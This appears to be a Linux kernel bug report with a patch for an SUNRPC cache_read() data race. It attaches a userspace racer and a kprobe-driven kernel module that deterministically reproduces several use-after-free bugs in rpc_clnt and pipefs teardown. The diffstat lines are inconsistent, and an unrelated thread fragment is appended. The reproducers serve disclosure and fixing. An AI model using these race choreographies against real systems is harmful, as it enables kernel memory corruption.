1. The lock is per inode, the data is per cache_detail. The /proc/net/rpc hierarchy is created with pde_force_lookup() (fs/proc/proc_net.c:393, propagated to children in fs/proc/generic.c:482-483) and proc_net_d_revalidate() (fs/proc/generic.c:352-356) returns 0 unconditionally, so every path-walk lookup invalidates the cached dentry and proc_get_inode() (fs/proc/inode.c:628-635) allocates a NEW inode via new_inode(). Any two open()s of the channel therefore hold two different inodes and two different inode_lock()s; the "concurrent readers of this file" that the comment worries about are never actually serialised. The pipefs channel (cache_read_pipefs(), cache.c:1759) reaches the same code through a different filesystem with the same outcome.

2. The critical state is touched outside every lock. After

     cache.c:866 the reader holds only its own inode_lock, while
     rq->buf and rq->len belong to the cache_request that sits on the
     shared cd->requests list.  Concurrent readers both observe
     rq->len == 0 and both run cache_request() over the same buffer
     (word-level write/write race; each formatter starts from offset
     0), both store rq->len, and a reader that got past the check can
     copy_to_user() from the buffer while the other is still formatting
     it.  cache_ioctl(FIONREAD) (cache.c:990-1012) reads
     "rq->len - rp->offset" under cd->queue_lock (cache.c:1008) -- a
     lock the rq->len store at cache.c:872 does not hold, so that
     read/write pair is a plain data race as well.

What is NOT broken: the lifetime of rq. rq->readers is incremented and decremented under cd->queue_lock and a request is only freed when its reader count drops to zero while not CACHE_PENDING (cache.c:894-905, cache_dequeue(), cache_release()), so the two kfree()-adjacent races that a static analysis flags on this function are genuinely refuted. This report is about the content/length consistency of the shared buffer, which no lock currently covers.

* Trigger model

The channel files are mode 0600, so this needs root or the identity of the legitimate cache daemon. Two concurrent readers of the same channel (e.g. two gssd instances, or a daemon racing a manual inspection) is the natural trigger; racing a read() with ioctl(FIONREAD) on one fd needs no second opener at all. A cache miss must have queued an upcall (cache_do_upcall()) for a request to exist. Consequence: torn/garbled upcall text delivered to userspace (daemon parse failures for RPCSEC_GSS and nfsd caches), and a formal data race under the C memory model. No memory-unsafety: the formatters are bounded by the remaining-length convention (qword_add()/qword_addhex(), cache.c:1122-1170) and cache_request() rejects overflow with -E2BIG, and copy_to_user()'s count is derived from a length that is always <= PAGE_SIZE.

* Reproducer (attached: rpcrace.c + rpcrd.c) and results on 7.3

Because the reporting environment has no nfsd running (no pre-existing auth caches with live traffic), the reproducer registers its own cache_detail ("racetest", exposed at /proc/net/rpc/racetest/channel via the exported cache_create_net()/cache_register_net()) whose cache_request formats a deterministic text line, and a kernel feeder thread calls sunrpc_cache_upcall() continuously so requests keep appearing on cd->requests. rpcrd.c is a small userspace racer:
concurrent read() loops (mode r) and an FIONREAD loop (mode c).

    # build (module + static userspace racer)
    make -C <kernel-build-dir> M=$PWD modules
    clang -O2 -static -o rpcrd rpcrd.c
    # run on a KCSAN kernel (kcsan runtime enabled for the window):
    insmod rpcrace.ko mode=mr02 secs=40
    /rpcrd r 40 & /rpcrd r 40 & /rpcrd r 40 & /rpcrd c 40 &

Results (7.3 KCSAN build, 8 vCPU, one 40s window): 25 cache-related reports, two shapes:

- "BUG: KCSAN: data-race in cache_read / cache_read": write of 4 bytes at cache_read+0x1d3 (the rq->len = err store) by one task vs read of 4 bytes at cache_read+0x127 (the rq->len == 0 check) by another task on another CPU -- the concurrent formatting decision itself;
- "BUG: KCSAN: data-race in _copy_to_user / string_escape_mem" x11:
read of 134 bytes (_copy_to_user <- cache_read, the copy_to_user() of rq->buf) vs write of 1 byte (string_escape_mem <- qword_add <- cache_request <- cache_read) at the same buffer -- the torn upcall text delivered to userspace while the sibling reader is still formatting it.

A manual sanity pass also shows the functional effect: with two readers started together the channel output of one reader comes back interleaved/truncated. Serial logs and report excerpts are available on request.

* Fix

The patch below formats the upcall text while holding cd->queue_lock. cache_request() is pure formatting into the preallocated page (the formatters only respect the remaining-length convention and never sleep), so the lock hold is bounded and short; it makes the "rq->len == 0 -> formatted" transition single-stepped, puts the rq->len store under the same lock cache_ioctl() reads it under, and guarantees every copy_to_user() is strictly ordered after the formatting of the same request (a reader can only reach the copy once rq->len is set, and from that moment nobody writes rq->buf again). A negative length (formatting error) is made sticky for the request so subsequent readers get the error instead of a negative copy count. The patch has been reviewed but not runtime-tested (the race itself is KCSAN-verified as above); happy to test alternatives, e.g. a per-cache_request state bit with a waitqueue if the serialisation is considered too coarse.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu <[email protected]>

------------------------------------------------------------------------

The patch (text/plain; apply with patch -p1 or git am):

From: Hanxiang Xu <[email protected]>
Subject: [PATCH] SUNRPC: format the cache upcall text under queue_lock

cache_read() serialises concurrent readers with inode_lock(inode), but the state it protects -- the cache_request's rq->buf and rq->len -- is shared per cache_detail, not per inode: /proc/net/rpc entries force dentry revalidation on every lookup (proc_net_d_revalidate() returns 0) and proc_get_inode() allocates a fresh inode each time, so every open() of a channel file gets its own inode and the VFS lock never actually serialises two readers. Concurrent readers both observe rq->len == 0 and both run cache_request() over the same shared buffer (word-level write/write race), a reader's copy_to_user() of rq->buf can overlap the sibling's formatting (torn upcall text delivered to gssd/nfsd cache daemons), and the rq->len store races the cache_ioctl(FIONREAD) read, which is done under cd->queue_lock -- a lock the store does not hold. All three were confirmed with KCSAN on 7.3 against a private cache_detail with concurrent readers and an FIONREAD loop ("data-race in cache_read / cache_read" for the rq->len store vs check, "data-race in _copy_to_user / string_escape_mem" for the buffer content).

Format the upcall text while holding cd->queue_lock: cache_request() is pure formatting into the preallocated page and cannot sleep, the hold is bounded, and it makes the rq->len transition single-stepped and ordered against both the sibling readers and cache_ioctl(). The copy_to_user() can then only run once rq->len is set, after which nobody writes rq->buf again. A negative cache_request() result is stored and made sticky for the request so later readers receive the error rather than computing a negative copy count.

The request lifetime itself is unaffected: rq->readers under queue_lock already protects rq from premature free.

---
 net/sunrpc/cache.c | 25 ++++++++++++++-----------
 1 file changed, 14 insertions(+), 11 deletions(-)
net/sunrpc/cache.c +18 -5
@@ -863,13 +863,26 @@
 	}
 	if (rp->offset == 0)
 		rq->readers++;
+	/*
+	 * Format the upcall text while holding queue_lock.  rq is shared
+	 * by every reader of this cache: each open() of the channel gets a
+	 * fresh inode (procfs revalidates /proc/net/rpc entries on every
+	 * lookup and allocates a new inode), so the VFS inode_lock() above
+	 * serialises nothing across readers, and cache_ioctl(FIONREAD)
+	 * reads rq->len under this same lock.  cache_request() is pure
+	 * formatting into the preallocated page and cannot sleep.  Doing
+	 * it under the lock makes the "rq->len == 0 -> formatted"
+	 * transition single-stepped and keeps the copy_to_user() below
+	 * strictly ordered after the formatting of the same request.
+	 */
+	if (rq->len == 0)
+		rq->len = cache_request(cd, rq);
 	spin_unlock(&cd->queue_lock);
 
-	if (rq->len == 0) {
-		err = cache_request(cd, rq);
-		if (err < 0)
-			goto out;
-		rq->len = err;
+	/* a formatting error is sticky for this request */
+	if (rq->len < 0) {
+		err = rq->len;
+		goto out;
 	}
 
 	if (rp->offset == 0 && !test_bit(CACHE_PENDING, &rq->item->flags)) {
 net/sunrpc/cache.c | 23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

------------------------------------------------------------------------

/* rpcrd - userspace racer against /proc/net/rpc/racetest/channel
* usage: rpcrd r <secs> concurrent read() loop
* rpcrd c <secs> FIONREAD ioctl loop
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <time.h>

static time_t g_end;

static int expired(void) { return time(NULL) >= g_end; }

int main(int argc, char **argv)

{
	char buf[4096];
	int fd, secs;
	unsigned long n = 0;

	if (argc < 3) { fprintf(stderr, "usage: rpcrd r|c secs\n"); return 1; }
	fd = open("/proc/net/rpc/racetest/channel", O_RDWR);
	if (fd < 0) { perror("open"); return 1; }
	secs = atoi(argv[2]);
	g_end = time(NULL) + secs;

	if (argv[1][0] == 'r') {
		while (!expired()) {
			ssize_t r = read(fd, buf, sizeof(buf));
			if (r > 0)
				n++;
		}
		printf("RPCRD-U: reads=%lu\n", n);
	} else {
		int len, got = -1;
		while (!expired()) {
			if (ioctl(fd, FIONREAD, &len) == 0 && len != got) {
				got = len;
				n++;
			}
		}
		printf("RPCRD-U: fionread-transitions=%lu\n", n);
	}
	return 0;
}

// SPDX-License-Identifier: GPL-2.0
/*
* rpcrace.c - controlled-window verification instruments for the net/sunrpc
* conditional-race audit cases SUNRPC-MR-01..04
* (docs/manual-review-net-sunrpc-2026-11-25.md, v4).
*
* Methodology follows this environment's established controlled-window
* precedent (r4_stall.c, r1stall.c, fx*): zero kernel-source changes; a
* loadable module drives exported core APIs (rpc_create, rpcauth_register,
* rpc_switch_client_transport, rpc_mkpipe_data/rpc_add_pipe_dir_object,
* cache_create_net/sunrpc_cache_upcall) and kprobe pre-handlers widen the
* natural race windows into deterministic choreographies.
*
* Modes (module param "mode"):
* mr03pfs - SUNRPC-MR-03 pipefs flavor. Custom authops->create() holds the

 *            rpc_client_register() failure window open until a userspace
 *            helper has open(2)'d the failing client's <pipefs>/nfs/clntXX/info
 *            file (open takes a cl_count reference via rpc_info_open).  After
 *            the window closes rpc_new_client() kfree()s the client anyway
 *            and the helper read()s/closes the fd -> use-after-free in
 *            rpc_show_info()/rpc_info_release().
 *  mr03dbg - same choreography against the debugfs "tasks" file
 *            (/sys/kernel/debug/sunrpc/rpc_clnt/<clid>/tasks, tasks_open
 *            takes the cl_count reference; full_proxy_release forwards
 *            tasks_release unconditionally).  Only meaningful on a kernel
 *            built with CONFIG_SUNRPC_DEBUG (debugfs.c compiled in).
 *  mr01    - SUNRPC-MR-01.  Double-kprobe choreography:
 *            kp1 = rpc_unregister_client entry, claimed by our failing
 *            client thread at err_auth (after rpc_get_sb_net() already saw
 *            pipefs unmounted and released pipefs_sb_lock);
 *            kp2 = rpc_create_client_dir entry, claimed by the concurrent
 *            "mount -t rpc_pipefs" notifier while it holds pipefs_sb_lock
 *            and has already written clnt->pipefs_sb = sb.
 *            Release order (A resumes -> unregister/remove/kfree, then B
 *            resumes) reproduces the audited interleaving: B writes
 *            pdh_dentry into the freed rpc_clnt (UAF write) and leaves an
 *            orphan pipedir whose info file private points at freed memory.
 *  mr04    - SUNRPC-MR-04.  kprobe stall on simple_recursive_removal() when
 *            called with callback == rpc_close_pipes from the umount task,
 *            while a module thread drives rpc_switch_client_transport()
 *            (which calls __rpc_clnt_remove_pipedir() WITHOUT
 *            pipefs_sb_lock).  Both threads read the same pdh_dentry /
 *            pipe->dentry before either clears it -> the umount thread
 *            resumes simple_recursive_removal() on the already-freed pipe
 *            child dentry (use-after-free).
 *  mr02    - SUNRPC-MR-02 (KCSAN kernel).  Module-owned cache_detail
 *            ("racetest", /proc/net/rpc/racetest/channel) + an upcall
 *            feeder; userspace runs two concurrent readers and a
 *            FIONREAD ioctl loop against the shared cache_request so that
 *            cache_read()/cache_read()/cache_ioctl() race on rq->buf and
 *            rq->len (plain, unsynchronised accesses).

*
* Handshake with userspace (see scripts/init-rpcrace):
* /sys/module/rpcrace/parameters/event - readonly state machine
* /sys/module/rpcrace/parameters/helper_ready - write 1 to complete the
* window (mr03*); mr01/mr04 choreograph internally.
*/
#define pr_fmt(fmt) "RPCRACE: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/completion.h>
#include <linux/delay.h>
#include <linux/slab.h>
#include <linux/in.h>
#include <linux/kref.h>
#include <linux/jiffies.h>
#include <linux/timer.h>
#include <linux/atomic.h>
#include <linux/sunrpc/clnt.h>
#include <linux/sunrpc/auth.h>
#include <linux/sunrpc/msg_prot.h>
#include <linux/sunrpc/rpc_pipe_fs.h>
#include <linux/sunrpc/cache.h>
#include <linux/sunrpc/xprt.h>
#include <linux/sunrpc/stats.h>

static char *mode = "mr03pfs";
static int hold_ms = 8000;
static int iters = 2;
static int stall_ms = 4000;
static int secs = 30;
static int auth_ok;
static unsigned long cb_addr;
static bool do_hold;

module_param(mode, charp, 0400);
module_param(hold_ms, int, 0400);
module_param(iters, int, 0400);
module_param(stall_ms, int, 0400);
module_param(secs, int, 0400);
module_param(auth_ok, int, 0400);
module_param(cb_addr, ulong, 0400);
MODULE_PARM_DESC(mode, "mr03pfs | mr03dbg | mr01 | mr04 | mr02"); MODULE_PARM_DESC(cb_addr, "runtime address of rpc_close_pipes (mr04)");

/* ------------------------------------------------------------------ */

/* state machine                                                       */
/*  event==1 : A stalled / window open (helper may act)                */
/*  event==2 : B stalled (mr01: mount inside create_client_dir;        */
/*             mr04: umount inside simple_recursive_removal)           */
/*  event==3 : failing client freed / done                             */

/* ------------------------------------------------------------------ */ static atomic_t race_state = ATOMIC_INIT(0);
static DECLARE_COMPLETION(helper_compl);
static DECLARE_COMPLETION(go_compl);
static struct task_struct *worker;
static int kp_unreg_hit, kp_ccd_hit, kp_srr_hit;

/* ------------------------- fake rpc program ------------------------ */ static u32 race_counts[1];
static const struct rpc_procinfo race_procs[1] = { { 0 } };

static const struct rpc_version race_v1 = {
	.number		= 1,
	.nrprocs	= 1,
	.procs		= race_procs,
	.counts		= race_counts,
};
static const struct rpc_version *race_version[1] = { &race_v1 };
static struct rpc_stat race_stat;
static const struct rpc_program race_program = {
	.name		= "rpcrace",
	.number		= 200000,
	.nrvers		= 1,
	.version	= race_version,
	.stats		= &race_stat,
	.pipe_dir_name	= "nfs",	/* exists in rpc_pipefs root */
};

/* ------------------------- fake rpc auth --------------------------- */ static void race_auth_destroy(struct rpc_auth *auth) { } static struct rpc_auth race_fake_auth;

/*
* create() is called from rpcauth_create() inside rpc_client_register()
* (clnt.c L322) - i.e. AFTER the client was published to sn->all_clients
* (L318) and after the pipefs pipedir was created (L313-315). Holding this
* callback open holds the audited publication window open (mr03*). */
static struct rpc_auth *
race_auth_create(const struct rpc_auth_create_args *args, struct rpc_clnt *clnt)

{
	if (auth_ok) {
		refcount_set(&race_fake_auth.au_count, 1);
		return &race_fake_auth;
	}
	if (do_hold) {
		pr_info("window OPEN (hold_ms=%d), clnt=%p clid=%d\n",
			hold_ms, clnt, clnt->cl_clid);
		atomic_set(&race_state, 1);
		wait_for_completion_timeout(&helper_compl,
					    msecs_to_jiffies(hold_ms));
	}
	return ERR_PTR(-EINVAL);
}
static const struct rpc_authops race_authops = {
	.owner		= THIS_MODULE,
	.au_flavor	= RPC_AUTH_KRB,		/* 4, unregistered in-kernel */
	.au_name	= "rpcrace",
	.create		= race_auth_create,
	.destroy	= race_auth_destroy,
};

/* ------------------------- kprobe machinery ------------------------ */ static atomic_t arm = ATOMIC_INIT(0);
static atomic_t release_flag = ATOMIC_INIT(0);

static void spin_until(int target)

{
	unsigned long until = jiffies + msecs_to_jiffies(stall_ms);

	while (atomic_read(&race_state) < target && time_before(jiffies, until))
		cpu_relax();
}

/* mr01 kp1: rpc_unregister_client entry on the failing-client thread */ static int mr01_kp_unreg_pre(struct kprobe *p, struct pt_regs *regs)

{
	if (!atomic_read(&arm) || kp_unreg_hit || current != worker)
		return 0;
	kp_unreg_hit = 1;
	atomic_set(&race_state, 1);
	pr_info("kp1: failing thread stalled at err_auth unregister "
		"(rpc_get_sb_net already returned NULL)\n");
	spin_until(2);
	pr_info("kp1: mount side stalled -> releasing failing thread\n");
	return 0;
}

/* mr01 kp2: rpc_create_client_dir entry on the mount task */ static int mr01_kp_ccd_pre(struct kprobe *p, struct pt_regs *regs)

{
	if (!atomic_read(&arm) || kp_ccd_hit || !kp_unreg_hit)
		return 0;
	if (strncmp(current->comm, "mount", 5) != 0)
		return 0;
	kp_ccd_hit = 1;
	atomic_set(&race_state, 2);
	pr_info("kp2: mount notifier stalled inside rpc_create_client_dir "
		"(holds pipefs_sb_lock, clnt->pipefs_sb already written)\n");
	spin_until(3);
	pr_info("kp2: failing client freed -> resuming create_client_dir "
		"on freed rpc_clnt\n");
	return 0;
}

/* mr04 kp: simple_recursive_removal(dentry, callback==rpc_close_pipes) */ static int mr04_kp_srr_pre(struct kprobe *p, struct pt_regs *regs)

{
	if (!atomic_read(&arm) || kp_srr_hit)
		return 0;
#ifdef CONFIG_X86_64
	if (!cb_addr || regs->si != cb_addr)
		return 0;
#else
	return 0;
#endif
	if (strncmp(current->comm, "umount", 6) != 0)
		return 0;
	kp_srr_hit = 1;
	atomic_set(&race_state, 2);
	pr_info("kp: umount stalled inside simple_recursive_removal(pipe child)\n");
	{
		unsigned long until = jiffies + msecs_to_jiffies(stall_ms * 2);

		while (!atomic_read(&release_flag) &&
		       time_before(jiffies, until))
			cpu_relax();
	}
	pr_info("kp: switch-side removal done -> resuming removal on freed "
		"pipe dentry\n");
	return 0;
}

static struct kprobe kp_unreg = { .symbol_name = "rpc_unregister_client",

				  .pre_handler = mr01_kp_unreg_pre };
static struct kprobe kp_ccd = { .symbol_name = "rpc_create_client_dir",
				.pre_handler = mr01_kp_ccd_pre };
static struct kprobe kp_srr = { .symbol_name = "simple_recursive_removal",
				.pre_handler = mr04_kp_srr_pre };

/*
* mr04: the switch thread blocks on pipefs_sb_lock inside the re-register
* (the stalled umount holds the mutex), so the release is driven by a timer
* armed just before rpc_switch_client_transport(): the switch's unlocked
* __rpc_clnt_remove_pipedir() completes in microseconds, well within the
* 2s window; the umount thread then resumes on the freed pipe dentry. */
static struct timer_list mr04_rel_timer;

static void mr04_rel_timer_fn(struct timer_list *t)

{
	atomic_set(&release_flag, 1);
	pr_info("mr04: release timer fired\n");
}

/* ------------------------- client helpers -------------------------- */ static struct rpc_clnt *race_make_client(bool want_ok)

{
	struct sockaddr_in sin = {
		.sin_family	= AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port	= htons(2049),
	};
	struct rpc_create_args args = {
		.net		= current->nsproxy->net_ns,
		.protocol	= XPRT_TRANSPORT_TCP,
		.address	= (struct sockaddr *)&sin,
		.addrsize	= sizeof(sin),
		.servername	= "racetest",
		.program	= &race_program,
		.version	= 0,
		.authflavor	= RPC_AUTH_KRB,
		.cred		= current_cred(),
		.flags		= RPC_CLNT_CREATE_NOPING,
	};

	auth_ok = want_ok ? 1 : 0;
	return rpc_create(&args);
}

/* ------------------------- mr03 worker ----------------------------- */ static int mr03_threadfn(void *unused)

{
	int i;

	wait_for_completion(&go_compl);
	for (i = 0; i < iters; i++) {
		struct rpc_clnt *clnt;

		reinit_completion(&helper_compl);
		clnt = race_make_client(false);
		if (!IS_ERR(clnt)) {
			pr_err("unexpected success, aborting\n");
			rpc_shutdown_client(clnt);
			break;
		}
		pr_info("iteration %d: rpc_create failed (%ld); client freed "
			"while file references were held\n", i, PTR_ERR(clnt));
		atomic_set(&race_state, 3);
		msleep(300);
	}
	atomic_set(&race_state, 3);
	pr_info("mr03 done\n");
	return 0;
}

/* ------------------------- mr01 worker ----------------------------- */ static int mr01_threadfn(void *unused)

{
	struct rpc_clnt *clnt;

	wait_for_completion(&go_compl);
	kp_unreg_hit = 0;
	kp_ccd_hit = 0;
	/* pipefs must be unmounted at create time; kp1 stalls the err_auth
	 * unregister; the helper's concurrent mount stalls inside
	 * rpc_create_client_dir via kp2; release order reproduces the
	 * audited interleaving. */
	atomic_set(&arm, 1);
	clnt = race_make_client(false);
	atomic_set(&arm, 0);
	if (!IS_ERR(clnt)) {
		pr_err("mr01: unexpected success\n");
		rpc_shutdown_client(clnt);
	} else {
		pr_info("mr01: rpc_create failed (%ld)\n", PTR_ERR(clnt));
	}
	atomic_set(&race_state, 3);
	return 0;
}

/* ------------------------- mr04 machinery -------------------------- */

struct race_pdo {
	struct rpc_pipe_dir_object pdo;
	struct rpc_pipe *pipe;
};

static struct rpc_clnt *mr04_clnt;
static struct race_pdo mr04_rp;

static ssize_t race_pipe_upcall(struct file *filp, struct rpc_pipe_msg *msg,
char __user *dst, size_t buflen)

{
	return rpc_pipe_generic_upcall(filp, msg, dst, buflen);
}

static const struct rpc_pipe_ops race_pipe_ops = {
.upcall = race_pipe_upcall,
};

static int race_pdo_create(struct dentry *dir, struct rpc_pipe_dir_object *pdo)

{
	struct race_pdo *rp = pdo->pdo_data;

	return rpc_mkpipe_dentry(dir, "racetest", NULL, rp->pipe);
}

static void race_pdo_destroy(struct dentry *dir, struct rpc_pipe_dir_object *pdo)

{
	struct race_pdo *rp = pdo->pdo_data;

	rpc_unlink(rp->pipe);
}
static const struct rpc_pipe_dir_object_ops race_pdo_ops = {
	.create		= race_pdo_create,
	.destroy	= race_pdo_destroy,
};

static int mr04_setup(void)

{
	int ret;

	mr04_clnt = race_make_client(true);	/* want_ok: fake valid auth */
	if (IS_ERR(mr04_clnt))
		return PTR_ERR(mr04_clnt);

	mr04_rp.pipe = rpc_mkpipe_data(&race_pipe_ops, 0);
	ret = PTR_ERR_OR_ZERO(mr04_rp.pipe);
	if (ret)
		goto out_clnt;
	mr04_rp.pdo.pdo_data = &mr04_rp;
	rpc_init_pipe_dir_object(&mr04_rp.pdo, &race_pdo_ops, &mr04_rp);
	ret = rpc_add_pipe_dir_object(rpc_net_ns(mr04_clnt),
				      &mr04_clnt->cl_pipedir_objects,
				      &mr04_rp.pdo);
	if (ret)
		goto out_pipe;
	pr_info("mr04: client clid=%d armed with pipedir + child pipe\n",
		mr04_clnt->cl_clid);
	return 0;
out_pipe:
	rpc_destroy_pipe_data(mr04_rp.pipe);
out_clnt:
	rpc_shutdown_client(mr04_clnt);
	mr04_clnt = NULL;
	return ret;
}

static void mr04_cleanup(void)

{
	if (mr04_clnt)
		rpc_shutdown_client(mr04_clnt);
	mr04_clnt = NULL;
}

static int mr04_threadfn(void *unused)

{
	struct sockaddr_in sin = {
		.sin_family	= AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port	= htons(2049),
	};
	struct xprt_create xargs = {
		.ident		= XPRT_TRANSPORT_TCP,
		.net		= rpc_net_ns(mr04_clnt),
		.dstaddr	= (struct sockaddr *)&sin,
		.addrlen	= sizeof(sin),
		.servername	= "racetest",
	};
	int ret, i;

	/* wait for the umount thread to stall inside simple_recursive_removal */
	{
		unsigned long until = jiffies + msecs_to_jiffies(stall_ms * 4);

		while (atomic_read(&race_state) < 2 &&
		       time_before(jiffies, until))
			msleep(1);
	}
	if (atomic_read(&race_state) < 2) {
		pr_err("mr04: umount side never stalled, aborting\n");
		return 0;
	}
	pr_info("mr04: driving rpc_switch_client_transport() against the "
		"stalled umount\n");
	timer_setup(&mr04_rel_timer, mr04_rel_timer_fn, 0);
	/* 300ms: the switch-side unlocked removal completes in microseconds,
	 * while the freed dentries are still inside the KASAN quarantine when
	 * the umount thread resumes (clean slab-use-after-free instead of a
	 * post-reuse crash). */
	mod_timer(&mr04_rel_timer, jiffies + msecs_to_jiffies(300));
	for (i = 0; i < 3; i++) {
		ret = rpc_switch_client_transport(mr04_clnt, &xargs, NULL);
		pr_info("mr04: switch attempt %d -> %d\n", i, ret);
		if (ret == 0)
			break;
		msleep(50);
	}
	timer_delete_sync(&mr04_rel_timer);
	atomic_set(&release_flag, 1);
	atomic_set(&race_state, 3);
	return 0;
}

/* ------------------------- mr02 machinery -------------------------- */ static struct cache_detail *race_cd;
static struct task_struct *feeder;
static bool feeder_run = true;

static void race_cache_put(struct kref *ref) { }

static void race_cache_request(struct cache_detail *cd, struct cache_head *h,
char **bpp, int *blen)

{
	/* deterministic, comfortably-sized upcall text */
	qword_add(bpp, blen, (char *)"racetest");
	qword_add(bpp, blen, (char *)"filler-line-for-concurrent-formatting-race");
	qword_add(bpp, blen, (char *)"0123456789012345678901234567890123456789");
	qword_add(bpp, blen, (char *)"0123456789012345678901234567890123456789");
	if (*blen > 0)
		(*bpp)[-1] = '\n';
}

static struct cache_head *race_alloc(void)

{
	return kzalloc_obj(struct cache_head, GFP_KERNEL);
}

static int race_match(struct cache_head *a, struct cache_head *b) { return 1; } static void race_init_h(struct cache_head *a, struct cache_head *b) { } static void race_update(struct cache_head *a, struct cache_head *b) { }

static struct cache_detail race_cd_template = {
	.owner		= THIS_MODULE,
	.hash_size	= 16,
	.name		= "racetest",
	.cache_put	= race_cache_put,
	.cache_request	= race_cache_request,
	.alloc		= race_alloc,
	.match		= race_match,
	.init		= race_init_h,
	.update		= race_update,
};

static int mr02_setup(void)

{
	int ret;

	race_cd = cache_create_net(&race_cd_template, current->nsproxy->net_ns);
	if (IS_ERR(race_cd))
		return PTR_ERR(race_cd);
	ret = cache_register_net(race_cd, current->nsproxy->net_ns);
	if (ret)
		goto out_free;
	pr_info("mr02: channel at /proc/net/rpc/racetest/channel\n");
	return 0;
out_free:
	cache_destroy_net(race_cd, current->nsproxy->net_ns);
	race_cd = NULL;
	return ret;
}

static void mr02_cleanup(void)

{
	if (!race_cd)
		return;
	feeder_run = false;
	if (feeder && !IS_ERR(feeder)) {
		kthread_stop(feeder);
		feeder = NULL;
	}
	cache_unregister_net(race_cd, current->nsproxy->net_ns);
	cache_destroy_net(race_cd, current->nsproxy->net_ns);
	race_cd = NULL;
}

static int mr02_threadfn(void *unused)

{
	unsigned long until = jiffies + secs * HZ;

	while (feeder_run && time_before(jiffies, until)) {
		struct cache_head *h = race_alloc();

		if (h) {
			memset(h, 0, sizeof(*h));
			INIT_HLIST_NODE(&h->cache_list);
			kref_init(&h->ref);
			h->expiry_time = seconds_since_boot() + 3600;
			h->last_refresh = seconds_since_boot();
			sunrpc_cache_upcall(race_cd, h);
			/* h intentionally left pending: the rq stays on
			 * cd->requests for the readers to race on; the
			 * per-item leak is bounded by the run duration. */
		}
		usleep_range(1000, 2000);
	}
	pr_info("mr02: feeder done\n");
	return 0;
}

/* ------------------------- module glue ----------------------------- */ static int helper_ready_get(char *buf, const struct kernel_param *kp)

{
	return sprintf(buf, "%d\n", atomic_read(&race_state) >= 1 ? 1 : 0);
}

static int helper_ready_set(const char *val, const struct kernel_param *kp)

{
	int v;

	if (kstrtoint(val, 0, &v))
		return -EINVAL;
	if (v) {
		pr_info("helper_ready -> window closing\n");
		complete(&helper_compl);
	}
	return 0;
}

static const struct kernel_param_ops helper_ready_ops = {
.flags = KERNEL_PARAM_OPS_FL_NOARG,
.get = helper_ready_get,
.set = helper_ready_set,
};
module_param_cb(helper_ready, &helper_ready_ops, NULL, 0600);

static int event_get(char *buf, const struct kernel_param *kp)

{
	return sprintf(buf, "%d\n", atomic_read(&race_state));
}
static const struct kernel_param_ops event_ops = {
	.flags	= KERNEL_PARAM_OPS_FL_NOARG,
	.get	= event_get,
};

module_param_cb(event, &event_ops, NULL, 0444);

static int __init rpcrace_init(void)

{
	int ret;

	do_hold = !strcmp(mode, "mr03pfs") || !strcmp(mode, "mr03dbg");
	pr_info("mode=%s hold_ms=%d iters=%d stall_ms=%d secs=%d cb_addr=0x%llx\n",
		mode, hold_ms, iters, stall_ms, secs, (unsigned long long)cb_addr);

	if (!strcmp(mode, "mr03pfs") || !strcmp(mode, "mr03dbg")) {
		ret = rpcauth_register(&race_authops);
		if (ret)
			return ret;
		worker = kthread_run(mr03_threadfn, NULL, "rpcraceA");
		ret = PTR_ERR_OR_ZERO(worker);
		if (!ret)
			complete(&go_compl);
		return ret;
	}

	if (!strcmp(mode, "mr01")) {
		ret = register_kprobe(&kp_unreg);
		if (ret)
			return ret;
		ret = register_kprobe(&kp_ccd);
		if (ret) {
			unregister_kprobe(&kp_unreg);
			return ret;
		}
		worker = kthread_run(mr01_threadfn, NULL, "rpcraceA");
		ret = PTR_ERR_OR_ZERO(worker);
		if (ret) {
			unregister_kprobe(&kp_ccd);
			unregister_kprobe(&kp_unreg);
			return ret;
		}
		/* thread blocks on go_compl; release after worker assigned */
		complete(&go_compl);
		return 0;
	}

	if (!strcmp(mode, "mr04")) {
		if (!cb_addr) {
			pr_err("mr04 requires cb_addr=<rpc_close_pipes>\n");
			return -EINVAL;
		}
		ret = rpcauth_register(&race_authops);
		if (ret)
			return ret;
		ret = mr04_setup();
		if (ret) {
			rpcauth_unregister(&race_authops);
			return ret;
		}
		ret = register_kprobe(&kp_srr);
		if (ret) {
			mr04_cleanup();
			return ret;
		}
		atomic_set(&arm, 1);
		worker = kthread_run(mr04_threadfn, NULL, "rpcraceA");
		if (IS_ERR(worker)) {
			unregister_kprobe(&kp_srr);
			atomic_set(&arm, 0);
			mr04_cleanup();
			return PTR_ERR(worker);
		}
		return 0;
	}

	if (!strcmp(mode, "mr02")) {
		ret = mr02_setup();
		if (ret)
			return ret;
		feeder = kthread_run(mr02_threadfn, NULL, "rpcraceF");
		if (IS_ERR(feeder)) {
			mr02_cleanup();
			return PTR_ERR(feeder);
		}
		return 0;
	}

	return -EINVAL;
}

static void __exit rpcrace_exit(void)

{
	if (!strcmp(mode, "mr03pfs") || !strcmp(mode, "mr03dbg")) {
		if (worker && !IS_ERR(worker))
			kthread_stop(worker);
		rpcauth_unregister(&race_authops);
	} else if (!strcmp(mode, "mr01")) {
		atomic_set(&arm, 0);
		if (worker && !IS_ERR(worker))
			kthread_stop(worker);
		unregister_kprobe(&kp_ccd);
		unregister_kprobe(&kp_unreg);
	} else if (!strcmp(mode, "mr04")) {
		atomic_set(&arm, 0);
		atomic_set(&release_flag, 1);
		if (worker && !IS_ERR(worker))
			kthread_stop(worker);
		unregister_kprobe(&kp_srr);
		mr04_cleanup();
		rpcauth_unregister(&race_authops);
	} else if (!strcmp(mode, "mr02")) {
		mr02_cleanup();
	}
	pr_info("exit\n");
}

module_init(rpcrace_init);
module_exit(rpcrace_exit);
MODULE_LICENSE("GPL");

author
#120 lore raw

SUNRPC: rpc_switch_client_transport() removes the client pipedir without pipefs_sb_lock, racing the RPC_PIPEFS_UMOUNT notification chain into a double removal (UAF)

In reply to Greg KH

------------------------------------------------------------------------

